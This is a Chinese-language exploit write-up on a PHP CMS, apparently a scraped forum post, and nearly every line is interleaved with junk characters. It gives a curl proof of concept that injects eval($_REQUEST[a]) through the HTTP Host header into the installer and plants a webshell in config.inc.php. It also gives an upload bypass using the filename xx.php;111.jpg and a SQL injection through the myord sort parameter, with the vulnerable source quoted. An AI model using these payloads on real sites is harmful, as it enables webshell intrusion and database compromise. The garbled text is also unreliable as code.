注入:
7 P5 u- }5 o8 X- B/ a
! \8 X; e0 R k2 W" r" _( z: j& y之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
1 L8 }" q5 |2 K" ^0 c
- N: G( F' ]/ W. {6 z( ~鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件: A' y% q/ {& j! K9 a* V: x/ r
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
) `- g: m2 a: ~* ^0 ~/ a 4 W# p5 Z* ^7 ?8 {" P' F7 e
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响8 F- ~/ F6 q) g& F+ p7 t( A
9 `9 X7 A- W/ r4 R分析:8 L7 s6 M% r8 Q" S8 c
- D' D( g _% s9 t" Y2 d
9 A& o" x7 \7 p' E) `7 v! z; s
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
3 t! c2 |, M6 M1 J# s5 Q: C+ c ) G+ x! @, ]) [$ N
$filestr = fread(fopen($SysConfigFile, 'r'),30000);$ v1 V8 i! U" N8 |/ n
$filestr=str_replace(" ","",$filestr);; F8 F! F/ R" G, N" E
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
0 a7 G% [ y6 Y4 Z& j! Y $filestr=str_replace("DefaultDbName",$dbname,$filestr);8 D% u( B( e7 c8 ], Q& d
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);: k6 y! z! o b W H R
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);9 D0 `# n$ Z8 a( w# x& f- ~
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);* i- P6 M% @2 s1 y) U
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
/ ?, B$ x% {) s* [& b& |! d $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
; {1 `6 K7 ^4 T2 H4 }
' B$ s8 W! W. V fwrite(fopen($ConFile,"w"),$filestr,30000);4 Y2 m, q* F. g9 ]6 S
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
0 U/ ^1 d' [$ L# C6 c [( h 0 }' O7 _* j1 U1 v- V$ f
poc: ?9 Z7 R1 b1 J- t3 {! o$ Y9 f9 G7 u
# i/ L- d* y) {; p) A?
0 o# D' N* O9 o0 {' n# `# `1& o% f, ?5 A) s# w Z# ?
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
% m' S( T8 H. H9 Z/ A6 h; Pshell地址: /config.inc.php1 E) a6 c5 l0 X+ O0 x2 V
跟之前的 phpcms一样 需要远程数据库
" [: P. c+ l2 O) N# t* j
5 j l1 e4 t- |( t8 X* K" F- l2 _# \8 K——————————————————–
# f) p$ [) ~3 h1 \) X& V+ z, L1 j3 I, i上传漏洞(需要进后台):
% O! b/ L; }- R; [6 R. A漏洞文件: /kedit/upload_cgi/upload.php
) K2 P$ n8 K- A7 n+ H这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用2 T9 G% h" l7 @
* R. I5 Z8 ^" e% ]' t) x
# K" _: U3 A+ }5 h% C# G<?php
# b$ ?8 v( H- }4 u- q0 I( D& b define("ROOTPATH", "../../");. d$ n7 c l, L. \6 q
include(ROOTPATH."includes/admin.inc.php");0 m2 ?7 I& M- ^
NeedAuth(0);
) b6 F$ r! V) D7 e" U7 n4 P: {7 _( f. b5 f, J
1 n7 a$ L8 |2 c* f) H# ?' { $dt=date("Ymd",time());& w+ J V V% k- u
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){9 I( O- @* I+ l( P5 V
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);* Z# m1 _$ O, J( g. K, f
}
7 E4 e$ r% c1 p" x& |- g/ a " c0 J! `; N: k, q0 E
//文件保存目录路径/ {6 O* n# {# b# T
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';; `- ^3 F# q0 ]/ i
echo $save_path;. Q6 q) D# B: i7 W
//文件保存目录URL
0 |1 M( {5 E/ m- e" a0 z2 T/ ~" V) ^ $save_url = '../../'.$_POST['attachPath'].$dt.'/';8 a$ m* I6 P) d$ S% p* S: G
6 G. ?3 x; Z; A' P" K4 S //定义允许上传的文件扩展名9 y' h0 S6 m4 J( x' E, b
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
( s9 z8 C4 M' |" J
, _, i, K5 Z' i4 E( r% ~ //最大文件大小
) L4 i* |, J$ l" t& t4 x! ` $max_size = 1000000;3 r" E( n% q0 g3 I. q
8 ~$ y. \5 H2 i5 P //更改目录权限% {' y0 f5 w2 q2 R0 K7 a
@mkdir($save_path, 0777);- f- P4 m9 _% I, j5 G' @' j, R
9 O: `! J9 h6 E$ J) K& J: }
//文件的全部路径
& @' Z4 I5 i( q $file_path = $save_path.$_POST['fileName']; //保存文件名
0 G/ y7 `9 S7 H/ T $ N8 F5 Z s/ _9 d
//文件URL
/ o* g1 C+ k* _5 Z$ X) T/ Q $file_url = $save_url.$_POST['fileName'];+ Z4 G( O4 E J2 @1 X7 e
//有上传文件时
8 Q* B1 w2 P7 Z6 {, z- l7 N if (empty($_FILES) === false) {
" N2 K. {: @1 W, X: ~
* w2 L* r' m" U& `1 z //原文件名
k! z' v* @9 x& O1 t $file_name = $_FILES['fileData']['name'];# K" l9 u% P0 c
//服务器上临时文件名7 @% X9 z; s- r, Q, ~/ s& q
$tmp_name = $_FILES['fileData']['tmp_name'];) H# n2 @& d9 G; j
//文件大小
% V: t' B7 `1 Y9 K $file_size = $_FILES['fileData']['size'];7 e* f( C0 o, W. t4 x
//检查目录
! `+ n& ?6 c2 Z8 D# q if (@is_dir($save_path) === false) {5 v( \% b0 j' Z3 E
alert("上传目录不存在。");
! p8 a1 ^! m* L& W% z3 c, u3 v; N }0 w* c0 b$ e7 p2 p! N" `
//检查目录写权限
" K2 s% |( b9 d# H% z3 y if (@is_writable($save_path) === false) {) i) R" s( Q4 j& s; U
alert("上传目录没有写权限。");
" Y+ i* l. m2 J4 r* j }: ^8 G6 X7 x l9 \, ~* m' ?+ s
//检查是否已上传1 w! x; j% o- f8 G
if (@is_uploaded_file($tmp_name) === false) {9 y& [2 E3 t4 F; q
alert("临时文件可能不是上传文件。");/ c# ^4 w) v$ Z$ F0 X( W- ~% {( G+ l% o
}9 ?: x2 s' E) ^- h' v
//检查文件大小
4 w! p# f( F+ E8 B. Y8 ~ if ($file_size > $max_size) {7 M: Y# j2 l+ {, |" k4 j3 k4 Y% ^
alert("上传文件大小超过限制。");
/ S( w" K; A- E0 ^ }
9 M$ i% P' c' B7 w //获得文件扩展名
8 Y! k0 k! A' n" x $temp_arr = explode(".", $_POST['fileName']);9 h2 H% T/ [+ F h
$file_ext = array_pop($temp_arr);
; B' k4 [& q# K $file_ext = trim($file_ext);
$ t6 D, U: B; X( E& C! `: I A! L $file_ext = strtolower($file_ext);
$ G; D6 x1 J" |6 o% z2 ~ 8 j' i% _$ x5 w2 q2 A9 x
//检查扩展名
; M# z9 [' ? V& ?6 j9 N, W9 p if (in_array($file_ext, $ext_arr) === false) {
7 S4 u1 [$ z" M7 |( S L7 }; J alert("上传文件扩展名是不允许的扩展名。");- x- D4 k( W9 ~4 }. G4 Z
}2 g8 `$ [6 J; q
) }7 P; F Q+ J3 f& D //移动文件 ( C1 ~4 G: G% s9 c' j* K0 T; [
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^0 W! M$ w8 o! f1 q2 j Q( H
if (move_uploaded_file($tmp_name, $file_path) === false) {! m0 J* z) r, }% K
alert("上传文件失败。"); p% K; ]* m3 O' b& ^4 F5 P3 r
}
J' u7 g" e& _& x } ?1 i ; n% Y7 X" d7 t; p# ?, S& T( a
@chmod($file_path,0666);; R, T* J! i) u4 _$ V3 j+ z4 \7 \
3 @- m! F( G. x. e* ^) w8 X2 e
?>
# I1 e# O2 Y0 h2 b& B6 t( h+ i抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227+ ?% k; t4 Z: }5 I/ ~- a* g
" S0 Y5 y# E: c: y7 ]+ o7 n, ?
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
% P; j9 U$ |+ X& A! a
$ K, B# }/ p4 A2 Z' v/ z) N4 E$ k——————————————————
0 u; k% H' N& I5 c9 U* {! z1 q$ Z% t注入漏洞:
* A4 N' ^% ^, k1 J漏洞文件:search/module/search.php) f( G& @- i. G7 T! O* h7 ?
/search/index.php?key=1&myord=1 [sqlinjection]/ v2 J3 O4 y7 @/ \$ p; E
, U9 G9 ~/ [7 j' }! Y8 h - }' @& H+ E' T; i6 B
<?php
1 r! I9 p1 b% M) L8 r3 b1 J% N: g // ... 省略 n 行...% W* ?8 J5 u6 q+ z
//第18行:4 Y0 P" Y2 Y: Q, S+ C/ n
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
2 i* Y0 C" s' c+ B; W8 d1 n6 D $page=htmlspecialchars($_GET["page"]);% p0 @3 L+ d' i1 y4 ]# c7 Q: T
$myord=htmlspecialchars($_GET["myord"]);8 a: `0 ~' o! U5 l) @) `$ ~: S
1 n& {4 K! Q& r- S0 K4 L$ } // ... 省略 n 行...
% u# j9 \ A+ V. y* T3 v0 T $key,$myord 两个参数带入查询
/ ^3 R$ G6 y8 v) }5 J2 _0 h //第47行 $key:
! q& w9 v% u) Z 6 j& C7 @% `. h: z/ n' Y; f9 E
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
1 @5 n9 L7 U! V4 G0 q ( \ f5 I% P4 y/ {+ k2 Q# Q
//第197行 $myord" @- w. W0 I# ^7 F9 }
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
4 }9 X8 E5 ?* F- |* g # w5 g* [. V6 q0 i
?># d3 r8 B, `0 U8 G! \3 f1 s9 @! K
|